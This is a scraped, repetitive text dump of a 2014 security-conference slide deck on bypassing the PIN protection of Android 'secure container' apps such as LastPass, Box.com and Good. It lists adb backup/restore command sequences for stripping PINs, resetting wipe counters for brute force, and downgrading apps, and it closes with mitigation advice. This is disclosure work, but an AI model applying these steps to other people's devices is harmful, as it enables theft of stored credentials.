  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 18: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 19: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

